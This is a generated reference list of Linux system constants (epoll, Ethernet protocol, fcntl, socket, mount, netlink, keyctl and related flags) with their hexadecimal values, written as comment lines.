-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x4000
-- FFDLY = 0x4000
-- FLUSHO = 0x800000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0xd
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x4000
-- IBSHIFT = 0x10
-- ICANON = 0x100
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x400
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x80
-- ISTRIP = 0x20
-- IUCLC = 0x1000
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x400
-- IXON = 0x200
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x80
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x40
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x2000
-- MCL_FUTURE = 0x4000
-- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NL2 = 0x200
-- NL3 = 0x300
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x300
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80000000
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x4
-- ONLCR = 0x2
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x20000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x1000
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x2000
-- PENDIN = 0x20000000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
